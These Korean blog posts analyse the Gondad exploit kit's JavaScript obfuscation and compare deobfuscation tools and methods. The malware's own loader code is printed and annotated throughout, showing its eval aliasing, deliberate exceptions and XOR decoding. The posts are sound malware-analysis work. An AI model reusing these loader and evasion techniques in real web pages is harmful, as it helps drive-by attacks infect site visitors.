    • Exploit Landing Page 안에 인터넷 익스플로러 취약점을 사용하는 html 페이지를 포함하고 있다면, 포함된 페이지를 Exploit Page라 불러야 하기 때문에...

    • 그냥 Exploit을 발생시키는 지점에 도착하였기 때문에...


    • 그 외 용어 정립이 안된 중계지의 경우 외국에서는 Bridge Page, Hopping Page, Redirector Page 등 다양하게 부르고 있다.

    • 어떤 곳에서는 페이지(page) 개념이 아닌 사이트(site) 또는 서버(server) 개념으로 소개하기도 하지만, 아니라고 생각한다.


    마지막으로 악성코드가 안티 바이러스 제품들을 우회하기 위해 회피 코드를 사용하기 시작한 시점은 이 둘 사이에 본격적인 전쟁이 시작됐을 때 일 것이다. 드라이브-바이 다운로드 공격도 각지의 보안 업체에서 깊은 연구와 대응 방안들을 마련해 서비스를 제공하고 있기 때문에 이러한 우회 기법들을 만들어내는 것으로 보여진다. 이제 시작인 만큼 앞으로 악성코드 유포가 더욱 고도화가 될 것으로 보여진다.


    4. 참조



    'Information Security > Malware' 카테고리의 다른 글

    랜섬웨어 대응방안  (5) 2017.05.17
    [보고서] Mirai Botnet  (0) 2016.12.26
    도메인 쉐도잉 (Domain Shadowing)  (0) 2015.03.17
    Sweet Orange exploit kit  (0) 2014.09.02
    공다팩(Gondad EK) 분석 #04  (2) 2014.08.14
    공다팩(Gondad EK) 분석 #03  (3) 2014.07.11

    Sweet Orange exploit kit

    http://pastebin.com/cw3AVJLq

    'Information Security > Malware' 카테고리의 다른 글

    [보고서] Mirai Botnet  (0) 2016.12.26
    도메인 쉐도잉 (Domain Shadowing)  (0) 2015.03.17
    Sweet Orange exploit kit  (0) 2014.09.02
    공다팩(Gondad EK) 분석 #04  (2) 2014.08.14
    공다팩(Gondad EK) 분석 #03  (3) 2014.07.11
    공다팩(Gondad EK) 분석 #02  (0) 2014.07.04

    1. Introduction

    이번 포스팅에서는 난독화 해제 방법론과 각각의 분석팀에서 공다팩 해제 방법을 다룬다.

    1.1. 난독화 해제 방법론

    • 소스코드 수정을 이용한 난독화 해제
    • 도구를 이용한 난독화 해제
    • 브라우저의 개발자 도구를 이용한 난독화 해제
    • 기타 방법론

    1.2. 공다팩 해제 방법

    • Kahu Security에서 공다팩 해제하는 방법
    • Bolaven에서 공다팩 해제하는 방법
    • 필자가 공다팩 해제하는 방법

    2. Deobfuscation Method

    2.1. Deobfuscating by modifying the source code

    소스 코드 수정 방법을 이용한 자바스크립트 난독화 해제 방법은 초기 난독화 해제를 하기 위해 사용되었던 방법론이다. 소프트웨어 테스팅 방법론에서 화이트 박스 테스팅(White Box Testing)부터 시작하여 알고리즘을 분석한 후 변이 테스팅(Mutation Testing)을 이용하여 추가 분석을 진행 할 수 있다. 여기서 진행하는 변이 테스트는 난독화를 해제하기 위해 삽입한 소스 코드를 브라우저로 실행하여 분석가가 난독화 해제 된 소스 코드를 볼 수 있도록 수정하기 위함이다.

    브라우저를 사용하는 이유는 자바스크립트를 해석하기 위해서는 자바스크립트 엔진을 거쳐야 하는데, 이 자바스크립트 엔진을 쉽게 이용할 수 있는 프로그램이기 때문이다. 소스 코드를 수정하고, 브라우저로 실행을 하면 자바스크립트 엔진이 난독화 된 소스 코드를 해제하고 레이아웃 엔진에 전달하고, 레이아웃 엔진은 다시 코드를 읽고 실행하여 사용자에게 콘텐츠를 제공하게 된다. 다시 말하면, 자바스크립트 엔진이 난독화된 소스 코드를 읽고 실행하는 과정에서 출력해 주는 코드를 삽입했다면, 분석가는 해제된 난독화를 볼 수 있게 되는 원리이다.

    앞서 포스팅 한 공다팩(Gondad EK) 분석 #03 에서 화이트 박스 테스팅을 통한 분석을 진행하여 알고리즘을 파악했으니, 이 블로그에서는 소스 코드 수정 방법을 이용한 자바스크립트 난독화 해제 방법을 통해 공다팩을 해제한다.

    2.2. Deobfuscating by tools

    난독화 해제를 하기 위한 다양한 도구들이 존재한다. 그 중에 가장 잘 알려진 도구는 말질라(Malzilla)로 2007년부터 제작되었다. 드라이브-바이 다운로드 공격이 2005~2006년 쯤 부터 발생되었으니 도구 제작이 빠른편에 속한다고 볼 수 있다.

    말질라의 장점은 단순한 인터페이스에 일부분 자바스크립트 엔진을 구성하여 단순한 형태의 난독화는 실행하여 난독화 해제 된 결과를 보여준다. 그 외에 난독화들을 분석하는데 있어 패턴으로 분류하고 치환하는 형태를 가지고 있어 간단한 난독화를 분석하기에 적합한 도구이다.

    단점은 순수한(?) 자바스크립트 구문만 분석할 수 있다. 만약 자바스크립트가 HTML DOM 구조체를 활용하여 난독화가 되어 있다면 분석을 할 수가 없게 된다. 또한 복잡한 형태를 해제할 수 없는 이유로는 말질라가 구현한 자바스크립트 엔진에서 지원하지 않는 자바스크립트 함수들에 대해서는 분석을 진행할 수 없기 때문이다. 말질라는 2008년 이후 부터 업데이트가 중단되었으니, 현재 사용되는 다양한 자바스크립트 내장 함수들을 지원하지 않을 확률이 높다.

    말질라가 사용하는 자바스크립트 엔진은 Spider monkey로 넷스케이프 커뮤니케이션의 Brendan Eich가 만든 최초의 자바스크립트 엔진이다. 이 엔진은 모질라 파이어폭스에서 게코(Gecko) 레이아웃 엔진과 함께 사용되었다.

    말질라 운영 화면

    다른 난독화 해제 도구로는 JSDetox가 있다. 루비 언어로 작성된 오픈소스 도구로 리눅스 플랫폼에서 설치하여 웹 어플리케이션 형태로 운영할 수 있다. JSDetox는 패턴으로 분류하고 분석하는 말질라와 다르게 디버거로써의 기능으로 분류하는 편이 정확하다. 프로그래밍을 하다가 컴파일하고 실행하려 할 때 에러 메시지를 보여주듯 난독화 해제하기 위해 실행하는 과정에서 발생하는 문제들을 알려주고, 그 문제를 수정하여 실행하는 형태로 난독화를 해제한다.

    JSDetox의 장점은 큰 규모의 난독화를 해제하기 적합하다. JSDetox의 모든 해제 과정은 구글이 만든 V8 자바스크립트 엔진과 개발자가 별도로 제작한 HTML DOM 에뮬레이터를 사용하기에, 난독화를 실행하고 에러를 처리하여 다시 실행하는 형태로 해제하여 원하는 코드를 볼 수 있게 된다. 또한 또한 지속적인 업데이트를 지원하여 새로운 공격 방법들에 대한 대응도 갖추어 가고 있다.

    다만 JSDetox의 단점은 기본적인 자바스크립트 구문에 대한 이해와 에러 구문에 대한 이해가 낮다면 이 도구를 사용한 해제 방법이 까다롭게 느껴질 수 있다.

    영상 1. JSDetox를 이용한 공다팩 난독화 해제 영상

    그 외에도 Exploit Kit 분석과 수집, 그리고 독특한 자바스크립트 해제 방법을 제공하는 Kahu Security에서 제작한 Revelo가 있으며, 웹 서비스를 중단했지만 로컬에서 환경을 구축하여 사용할 수 있는 jsunpack-n이 있다. 조금 더 설명하면 Revelo는 실제 공격중인 웹 사이트를 대상으로 실시간 분석을 하기에 좋은 도구이기에 테스트 환경을 구축하여 이용하는 것이 좋다.(다만 이 도구를 백신이 악성으로 판단하는 경우가 많다.) jsunpack-n의 경우 간단한 웹 크롤러 기능을 제공하기에 소스 코드 및 파일을 수집하고 저장한 후에 분석을 진행할 수 있다.

    2.3. Deobfuscating by developer tools in browsers

    브라우저가 제공하는 개발자 도구는 웹 개발자들이 웹 언어로 제작한 소스 코드를 랜더링 하여 자신이 만든 코드를 분석하고 문제를 해결하도록 도와준다. 이 도구는 브라우저에서 F12키를 눌러 개발자 도구를 사용할 수 있다.

    자바스크립트 난독화 분석가가 살펴 봐야 할 부분은 자바스크립트 엔진과 실시간 대화(인터프리터) 할 수 있는 자바스크립트 콘솔(Console) 모드와 웹 언어를 중단점(Break Point)를 사용하여 단계별(Step by Step)으로 분석할 수 있는 소스(Source) 모드이다. 이 두 가지 모드를 이용하여 분석을 아주 섬세하게 진행할 수 있다.

    구글 크롬의 개발자 도구의 자바스크립트 Console 화면

    2.4. 기타 방법론

    실제로 다뤄보거나 구현해본 방법들은 아니지만 사용하는 방법들이다.

    • 자바스크립트 엔진을 직접 구현
    • 자바스크립트 엔진 역할을 하는 모듈을 후킹하여 난독화를 해제 하는 방법
    • 자바스크립트 엔진 또는 웹 킷을 포함하여 운영되는 자바스크립트 API 활용

    자바스크립트 엔진을 직접 구현하여 프로그래밍을 이용한 난독화 해제를 간단하게 예를 들 수 있는 웹 응용 프로그램이 있다. 이 도구는 드라이브-바이 다운로드 공격의 차단과 다양한 정보를 생산하는 (주)트라이큐브랩 기술연구소에서 제작한 도구로 SpiderMonkey 자바스크립트 엔진을 구현하여 난독화를 해제하는 도구이다.

    공개된 버전은 1.0 버전으로 현재는 구글 V8 엔진으로 구현한 2.0을 내부적으로 사용하고 있다. 1.0 버전과 2.0 버전의 차이점은 1.0은 난독부와 해제부를 직접 입력해야 하지만 2.0에서는 공다팩 전체 소스 코드를 그대로 해제하고 내부 소스 코드를 분석하여 취약점을 유발시키는 파일과 악성코드를 수집한다.

    http://14.63.218.164:8000/gongda/ 도구

    공다팩 해제 도구 이용

    3. Deobfuscation of Gondad Pack Code

    본격적으로 공다팩을 소스 코드 수정을 이용한 난독화 해제 방법에 따라 해제를 해본다.

    3.1. Kahu Security

    Kahu Security는 인터넷을 이용한 악성코드 유포에 초점을 두고 활동하는 보안 전문가들로 구성되어 있으며, 다양한 정보들과 새롭고 빠른 소식들 그리고 독특한 형태로 난독화를 해제하기로 유명하다. 공다팩 역시 독특한 방식으로 해제를 한다. 이들이 제시하는 해제 방법을 따라한 내용은 다음과 같다.

    공다팩 해제부 코드 중에 난독화된 코드를 연산하여 저장된 변수를 실행하는 eval() 함수를 생성하기 위해 사용되는 코드이다. eval()은 NUIRS0 변수에 저장되어 사용되는데, NUIRS0 변수는 다음과 같이 사용한다.

    NUIRS0=dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[hxyB5](/[^v@0el9a]/g,''));

    난독화 해제부 코드 맨 마지막 부분으로 소스 코드 정렬을 했다. eval() 함수가 치환된 NUIRS0을 사용하여 난독화를 해제한 코드가 저장되어 있는 otlkVb6를 실행한다. 실행하는 과정에서 문제가 발생하면 FTWphd5를 parseInt() 함수로 추가 치환을 한 후 iGNrX2를 사용하여 다시 한번 난독화 해제한 코드를 실행한다. 이렇게 난독화 해제한 코드를 실행하는 형태를 가지게 되는 이유는 공격 코드를 실행하는 과정에서 Exception이 발생되면 다시 한번 실행하도록 하여 안정적으로 취약점을 실행시키려는 목적으로 보인다.

    갑자기 사용되는 iGNrX2는 난독화 해제하여 실행하는 과정에서 선언되는 변수이다. iGNrX2에는 앞서 해제된 난독화를 실행시키기 위해 사용되는 NUIRS0을 저장하는 과정이 포함되어 있다. 다음 코드는 난독화 해제한 소스 코드이다.

    try{
        new function(){
            NUIRS0(otlkVb6);
        }
    }catch(e){
        try{
            new function(){
                FTWphd5=parseInt;
                iGNrX2(otlkVb6);
            }
        }catch(e) {
            window.location='.';
        }
    }

    난독화를 해제하면 iGNrX2에 NUIRS0를 저장하여 iGNrX2를 eval()함수로 사용한다.

    iGNrX2=NUIRS0;
    btibSNQ6=FTWphd5(20100418);
    while(window.closed){}
    document.write("<br>");
    var gondady=document.createElement('body');
    document.body.appendChild(gondady);
    

    Kahu Security는 iGNrX2에 저장되는 값을 NUIRS0이 아닌 alert으로 강제 소스 코드를 변경한다. 변경할 때 주의할 점은 다음과 같다.

    • NUIRS0 변수의 문자열 6 자리 수와 alert 의 5 자리 수를 일치
    • 사전에 난독화를 해제하기 위해 연산하는 값을 미리 분석

    NUIRS0을 alert으로 변경하면 사용한 자리 수를 맞춰야 한다. 난독화 된 코드에 연산하는 값은 자리마다 정해진 값을 연산해야 제대로 된 난독화 해제 코드를 얻을 수 있기 때문이다. 그래서 스페이스를 이용하여 강제로 자리를 맞추었다.

    원본 소스코드

    iGNrX2=NUIRS0;btibSNQ6=FTWphd5(20100418);

    수정한 소스코드

    iGNrX2=alert ;tibSNQ6=FTWphd5(20100418);

    난독화 생성 코드 위치를 추측하기에 좋은 팁은 한 문자는 2개의 난독화 된 코드 값을 가지게 된다. iGNrX2= 는 7 개의 문자를 가기에 난독화 코드의 15 번째 부터 우리가 변경한 코드가 들어가는 것을 알 수 있다. 또한 생성한 값은 12 자리의 값을 가지는 것을 알 수 있다. 다시 역으로 난독화 코드를 생성하기 위해 열심히 계산기로 계산하면 다음과 같이 변경할 수 있다.

    원본 난독화 코드 : 4BFADA5E7EF3A57E7F8CCE671EF2C24C5BAFF77267E7

    수정 난독화 코드 : 4BFADA5E7EF3A55146A0EE400EF2C24C5BAFF77267E7

    이제 수정한 난독화 코드를 브라우저를 통해 실행해 보면 결과를 볼 수 있다.

    난독화 해제

    Kahu Security의 난독화 해제 방법은 매번 달라지는 공다팩 난독화 해제 키 값을 찾아야 하며, 그 키 값에 맞춰 난독화를 생성하기엔 너무 불편하다.

    3.2. Team Bolaven

    국내 보안관제팀 소모임으로 소개하는 Team Bolaven에서 정기적으로 분석하고 세미나 한 정보를 문서 형태로 제공한다. 이 보안팀에서 제공하는 분석 보고서 중 "[9차 문서] Dadong's JSXX 0 44 VIP분석" 에서 색다른 방법으로 공다팩 해제에 관한 내용을 전달해주고 있다.

    Team Bolaven Blog : http://thebolaven.tistory.com/

    이들이 제시하는 난독화 해제 방법은 매우 간단하며 누구나 따라할 수 있는 방법이다. 이들이 제시하는 방법은 실행부의 실행 코드에 난독화 해제한 코드가 저장되는 변수를 alert으로 실행시키는 코드를 추가하는 방법을 사용한다.

    //{수집부}
    faug8="1";delete faug8;try{faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var gOqA0="1";dLidfS6 = eval}qQhifJ0=unescape;
    //{난독부}
    //{해제부}
    tfFzFYX7 = dLidfS6(dLidfS6);tfFzFYX7(UgoVGYH0);
    

    팀 볼라벤이 삽입하는 소스 코드의 위치는 다음과 같다.

    //{수집부}
    faug8="1";delete faug8;try{faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var gOqA0="1";dLidfS6 = eval}qQhifJ0=unescape;
    //{난독부}
    //{해제부}
    tfFzFYX7 = dLidfS6(dLidfS6);tfFzFYX7(UgoVGYH0+"alert(해제된 난독화가 저장되는 변수명);");

    공다팩 소스 코드 수정

    실행 결과

    3.3. 공다팩 해제

    공다팩 해제의 형식적인 방법을 사용해보자. 공다팩은 난독부와 해제부를 수정하기 까다롭다는 것은 알고 있을 것이다. 그래서 다음과 같이 해제부 소스 코드를 문자열 값이 아닌 자바스크립트 소스 코드 형태로 죽 나열하였다. 우선 그림 8을 보자.

    난독화 해제를 위한 소스코드 변형

    먼저, 한 줄로 표현되어 있는 소스 코드를 난독부, 해제부, 실행부를 소스 코드 정렬을 하고, 해제부의 문자열을 복사하여 자바스크립트 소스 코드 형태로 추가 표현하였다.

    두 번째로 수정할 부분은 자바스크립트 소스 코드로 표현된 해제부 코드에서 사용되는 escape 문자인 \를 제거하는 작업이다. escape 문자는 문자열(String)으로 표현된 상태에서 실행할 때 일부 문자를 그대로 인식시키기 위해 사용되었으나 실제 실행하기 위한 소스 코드로의 표현에서는 에러를 발생 시키는 요소가 된다.

    검색 기능을 이용하여 test를 검색하면 test 문자열을 저장하는 변수를 만날 수 있다. 이 문자를 저장하는 변수를 다시 검색하면 그림 9와 그림 10과 같이 만날 수 있는데 이 부분들의 escape 문자들을 삭제한다.

    escape 문자 삭제 1

    escape 문자 삭제 2

    다음 실행부를 주석 처리하고,

    실행부 주석 처리

    그림 12와 같이 난독화가 해제되어 저장되는 otlkVb6를 실행하는 부분에 HTML의 <xmp> 태그를 삽입하여 실행하면 결과를 볼 수 있다. alert(otlkVb6) 형태로 사용하여 alert 창으로 해제 된 소스 코드를 볼 수 있지만, alert 보다 xmp 태그를 사용하는 것이 해제된 결과를 깔끔하게 볼 수 있어 선호하는 편이다.

    <xmp> 태그는 <xmp>와 </xmp>태그 안의 모든 HTML 태그들을 해석하지 않고 그대로 출력하는 역할을 한다. <xmp> 태그가 인식 할 수 있는 HTML 는 유일하게 </xmp>태그 뿐이다. <xmp> 태그는 <pre> 태그와 비교되는데 <pre> 태그는 <pre>와 </pre> 태그 안의 HTML 태그들을 해석하고 그대로 출력하는 역할을 한다. 해석을 하고, 해석을 하지 않는 것의 차이는 실행 가능성의 차이와 동일시 할 수 있다.

    소스 코드 삽입

    난독화 해제 결과

    'Information Security > Malware' 카테고리의 다른 글

    도메인 쉐도잉 (Domain Shadowing)  (0) 2015.03.17
    Sweet Orange exploit kit  (0) 2014.09.02
    공다팩(Gondad EK) 분석 #04  (2) 2014.08.14
    공다팩(Gondad EK) 분석 #03  (3) 2014.07.11
    공다팩(Gondad EK) 분석 #02  (0) 2014.07.04
    공다팩(Gondad EK) 분석 #01  (0) 2014.06.27
    1. 2014.11.10 10:05

      비밀댓글입니다


    1. Introduction

    이번 포스팅부터 공다팩의 난독화 해제 알고리즘을 역공학하려 한다.

    2. Reverse Code Engineering

    2.1. Execution Unit RCE

    우선 공다팩(Gondad EK) 분석 #02 에서 언급한 실행부 부터 시작하면 된다. 아래의 실행부는 소스코드 정렬을 진행한 형태이다.

    //{수집부}
    faug8="1"; // faug8에 문자 1을 할당
    delete faug8; // faug8 변수를 삭제
    try{
        faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"; 
        // 삭제한 faug8 변수에 문자연산 실행 - 에러 발생
    }catch(e){ //에러로 인해 catch 구문 실행
        var gOqA0="1"; // gOgA0 변수에 1 할당
        dLidfS6 = eval // eval 함수를 dLidfS6으로 치환
    }
    qQhifJ0=unescape; // unescape 함수를 gQhifJ0으로 치환
    //{난독부}
    //{해제부}
    tfFzFYX7 = dLidfS6(dLidfS6); // eval(eval())을 tfFzFYX7 로 치환
    tfFzFYX7(UgoVGYH0); // eval(eval(UgoVGYH0)) 으로 UgoVGYH0은 해제부의 값을 의미

    문자를 할당하고 할당 받은 변수를 삭제함으로써 고의적인 exception 을 발생시킨다. exception이 발생해야 eval() 함수를 dLidfS6 로 치환하여 dLidfS6 을 사용할 수 있다. 기본적으로 자바스크립트의 내장함수인 eval() 의 역할은 자바스크립트나 해독 가능한 코드를 해석하고 실행하는 역할을 한다. 즉, dLdfS6 는 해제부를 해석하고 실행하는 역할을 하는 것이다. 소스코드에서 보면 dLidfS6(dLidfS6()) 형태 즉, eval(eval()) 를 사용하여 실행하는 것을 볼 수 있다.

    [그림 1] 메모리 상태

    수집부와 실행부의 변수들이 메모리에서 변경되는 과정을 표 형태를 빌려 표현해 보았다. Value 값이 오른쪽으로 한 칸씩 이동할 때 마다 연산이 한 번씩 더 수행하여 값이 변경되어 가는 것으로 표현하려 한다. 후에 핵심 알고리즘에서도 이 형태로 메모리에 선언된 변수의 값의 행적을 추적을 표현한다.

    2.2. Deobfuscation Unit RCE

    공다팩 알고리즘을 분석하기 위해서는 우선 문자열로 저장된 해제부를 도려내어 소스코드 정렬을 한번 수행한다. 그 다음, 메모리에 변수가 선언되고 어떤 값이 할당되는지를 함께 생각하거나 그리면서 풀어나가는 것이 이해하기 가장 좋은 방법이다. 우선 해제부를 소스코드 정렬해 보았다. 해제부를 문자열로 저장되어 있는 변수는 UgoVGYH0 이다.

    function Xmstqj3() {
        YRPsiYR7 = Math.PI;
        iGNrX2 = Math.tan;
        skss8 = parseInt;
        miIl3 = 'length';
        BLKsBW0 = 'test';
        hxyB5 = 'replace';
        sXdvdnE4 = skss8(~((YRPsiYR7 & YRPsiYR7) | (~YRPsiYR7 & YRPsiYR7) & (YRPsiYR7 & ~YRPsiYR7) | (~YRPsiYR7 & ~YRPsiYR7)));
        HgfQOIU6 = skss8(((sXdvdnE4 & sXdvdnE4) | (~sXdvdnE4 & sXdvdnE4) & (sXdvdnE4 & ~sXdvdnE4) | (~sXdvdnE4 & ~sXdvdnE4)) & 1);
         /*www.yylis.com*/
        JuVsvVJ4 = HgfQOIU6 << HgfQOIU6;
        new function () {
            NUIRS0 = dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt=' [hxyB5](/[^v@0el9a]/g, ''));
        };
        try {
            if (!\/^\\d*$\/g[BLKsBW0](VKdaMw0));
        }catch(e){
            VKdaMw0=sXdvdnE4;
        }
        otlkVb6='';
        TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];
        for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-hgfqoiu6) 
            vkdamw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);
        syzMMty7+=HgfQOIU6;
        VKdaMw0>>>=0;
        for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yphsym7++){ 
            if(mWQywTw0>=(1<<3)){
                PuDe7=mWQywTw0%(1<<3);
            }else{
                PuDe7=mWQywTw0;
            }
            dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;
            if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))
                dyLU3%=3;
            otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);
        }
        try{
            new function(){
                NUIRS0(otlkVb6);
            }
        }catch(e){
            try{
                new function(){
                    FTWphd5=parseInt;
                    iGNrX2(otlkVb6);
                }
            }catch(e){
                window.location='.';
            }
        }
    }
    try{
        dLidfS6('Xmstqj3();')
    }catch(e){
        try{
            syzMMty7=sXdvdnE4;
            dLidfS6('Xmstqj3();');
        }catch(e){
            alert('ere');
        }
    }

    Xmstqj3() 함수를 선언하고 이 함수 안에서 난독화를 해제하는 알고리즘이 동작한다. 하지만 함수는 자기자신을 실행할 수가 없기 때문에 함수를 실행하는 부분이 필요하다. 이 부분 또한 eval() 함수를 사용 하고 있는데 eval() 함수를 사용하는 내용은 위 구조를 다음과 같이 좀 더 쉽게 변형하여 한 눈에 이해 할 수 있다. 아래의 내용이 큰 흐름을 볼 수 있도록 변경한 소스코드이다.

    function Xmstqj3() {
        blahblah~
    }
    try{
        dLidfS6('Xmstqj3();')
    }catch(e){
        try{
            syzMMty7=sXdvdnE4;
            dLidfS6('Xmstqj3();');
        }catch(e){
            alert('ere');
        }
    }

    dLidfS6 은 실행부에서 eval() 함수가 치환된 것으로 Xmstqj3() 함수를 실행하도록 하고 있다.

    최초 Xmstqj3() 함수가 실행 후 blahblah~ 코드 안에서 exception이 발생하고, catch 문에 의해 한번 더 Xmstqj3() 함수를 실행하는 구조를 가지고 있다. 이렇게 실행되면 blahblah~ 안의 변수 중에 특정 변수의 값이 추가적으로 연산을 진행해 최종적인 난독화 해제의 중요한 키 값이 된다. 자세한 설명은 blahblah~ 부분을 분석하면서 이해할 수 있다.

    이제 blahblah 파트를 리버싱 하려고 한다.

    YRPsiYR7 = Math.PI;
    iGNrX2 = Math.tan;
    skss8 = parseInt;
    miIl3 = 'length';
    BLKsBW0 = 'test';
    hxyB5 = 'replace';

    먼저 Math 함수를 보자. Math.PI를 실행하면 파이 값인 3.141592653 값이 YRPsiYR7 이 저장된다. 그 외 iGNrX2 와 skss8 는 각각 Math.tan() 함수와 parsenInt() 함수로 각각 치환된다.

    [그림 2] 메모리 상태

    sXdvdnE4 = skss8(~((YRPsiYR7 & YRPsiYR7) | (~YRPsiYR7 & YRPsiYR7) & (YRPsiYR7 & ~YRPsiYR7) | (~YRPsiYR7 & ~YRPsiYR7)));

    sXdvdnE4 에 저장되는 값을 풀어 보면 다음과 같다. 

    sXdvdnE4 = parseInt(~((3 & 3) | (~3 & 3) & (3 & ~3) | (~3 & ~3)));

    연산을 하려면 비트 연산(Bitwise Operation)인 틸드(tilde)와 AND, OR 연산에 대해 알아야 하며, 연산자 우선순위에 의해 AND 연산이 OR 연산보다 먼저 실행한다는 것을 알고 있어야 한다. 또한 부동 소수점은 비트 연산에서 사용할 수 없기에 정수 형태로만 연산을 진행하면 된다. 다음 표에서의 표현은 4자리 비트로 표현하였지만, 자바스크립트는 IEE 754 표준을 따라가며, 32 비트 단정도(Single-Precision)에 의해 연산을 진행한다.

    sXdvdnE4 = parseInt(~( A | B & C | D ));

    [그림 3] 비트연산 표현

    최종적으로 parseInt() 함수를 사용하여 정수형태로 변환하여 저장되는데, 모든 연산이 끝나면 sXdvdnE4 에 저장되는 값은 0 이 된다.

    HgfQOIU6 = skss8(((sXdvdnE4 & sXdvdnE4) | (~sXdvdnE4 & sXdvdnE4) & (sXdvdnE4 & ~sXdvdnE4) | (~sXdvdnE4 & ~sXdvdnE4)) & 1);

    HgfQOIU6 변수에 저장되는 값도 위에서 비트 연산을 한 것과 진행하면 1 이 저장이 된다. 결국 연산과정은 복잡해 보여도 0 과 1 을 표현하기 위한 연산임을 알 수 있다.

    /*www.yylis.com*/

    주석 부분이다. 의미 없어 보일 수도 있지만, 공다팩에서 주석은 공다팩의 아주 작은 정보를 볼 수 있는 부분이다. 이 공다팩이 최초로 삽입된 웹 사이트 주소를 의미하기도 하며, 과거의 공다팩에서는 난독화 버전을 보여주기도 하였다. 또한 후반부에 볼 수 있지만, 공다팩은 해제부 문자열의 수를 난독화 해제키를 만드는데 사용되는 자원으로 활용하고 있다. 이는 주석뿐만 아니라 띄워쓰기 까지 틀리게 되면 난독화가 해제가 되지 않음을 의미한다.

    JuVsvVJ4 = HgfQOIU6 << HgfQOIU6;

    JuVsvVJ4 변수에 저장되는 값은 1 << 1 비트 연산을 통해 생성되는 값이 저장된다. 수식으로 표현하면 다음과 같다. (여기서 ^ 는 지수를 의미한다.)

    1 × 2^1

    [그림 4] 메모리 상태

    new function () {
         NUIRS0 = dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt=' [hxyB5](/[^v@0el9a]/g, ''));
    };

    NUIRS0 변수는 정규표현식을 사용하여 치환하는 난독화 파트이다. dLidfS6은 실행부에서 eval() 함수가 치환된 것이며, hxyB5는 해제부에서 replace 문자열을 가지고 있는 변수명 이다. 치환되어 사용되는 값들을 다시 표현하면 다음과 같다.

    NUIRS0 = eval('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt=' ['replace'](/[^v@0el9a]/g, ''));

    자바스크립트에서는 함수를 사용하는 방법이 두 가지 있는데, 하나는 대표적으로 알려져있는 replace() 와 같은 형태이며, 다른 하나는 ['replace']() 와 같은 형태이다. 이렇게 사용할 수 있는 이유는 다음과 같다.

    window.eval(value)
    window.document.write(value)
    ...

    즉, 자바스크립트 객체의 계층 구조에서 최상위에 존재하는 window 객체를 사용하는 것이 정확한 형태이지만, 모든 구문을 사용하는데 매번 window 객체를 붙여 사용하기에는 불편하기 때문에 window는 생략해서 사용할 수 있게 된다. 그래서 자바스크립트 내장 함수라 불리기도 하지만 메소드라고 불리기도 하고 속성(Property) 라고 불리기도 한다. 자바스크립트에서 다음과 같이 표현해도 동일한 동작을 하게 된다.

    window['eval'](value)
    window['document']['write'](value)
    ...

    결국은 replace() 함수에 의해 변형되는 되는 것은 정규표현식에 의거하여 v, @, 0, e, l, 9, a 가 아닌 모든 문자는 삭제('') 하는 형태를 가지고 있다. 다시 표현해보면 다음과 같다.

    NUIRS0 = eval('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt=' ['replace'](/[^v@0el9a]/g, ''));

    즉, NUIRS0 에 저장되는 것은 eval() 함수가 되는 것이고 이는 NUIRS0을 사용하면 eval() 함수를 사용할 수 있다는 것이다. 끝까지 분석을 진행해 보면 NUIRS0 변수는 최종적으로 난독화가 해제된 코드를 브라우저가 실행하도록 하여 공격하는데 사용되는 eval() 함수가 된다.

    otlkVb6='';
    TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];

    otlkVb6 변수는 초기화를 한다. otlkVb6 변수는 난독화가 해제된 코드를 할당받는 역할을 한다.

    TbXQyj0 은 실행부에서 unescape() 함수가 치환된 qQhifJ0 를 사용하여 16진수 형태의 난독화를 해제하는데 사용한다. unescape() 함수는 문자열을 그대로 반환하거나, 16진수로 표현(%, \x)된 값을 아스키 문자로 반환해 준다. 다시 정리해보면 다음과 같다.

    TbXqyj0=String[unescape('%66%72%6F%6D%43%68%61%72%43%6F%64%65')];
    TbXqyj0=String['fromCharCode'];

    이 부분은 try-catch 구문을 이용하여 exception 을 발생시킨 후 VKdaMw0 변수에 0 값을 할당하는 역할을 한다.

    try {
        if (!\/^\\d*$\/g[BLKsBW0](VKdaMw0));
    }catch(e){
        VKdaMw0=sXdvdnE4;
    }

    exception 을 발생시키는 원인을 분석하기 위해 다음과 같이 치환을 했다.

    !\/^\\d*$\/g[BLKsBW0](VKdaMw0)
    !/^\d*$/g['test'](VKdaMw0)

    VKdaMw0 변수를 정규표현식의 식으로 테스트를 하기 위해 실행하지만, VKdaMw0 변수가 선언되어 있지 않기 때문에 발생하는 exception 이다. 후에 고의적인 exception 발생으로 처음부터 다시 실행되는데, 다시 실행될 때는 VKdaMw0 이 값을 가지고 있어 이 과정을 진행하지 않게 된다.

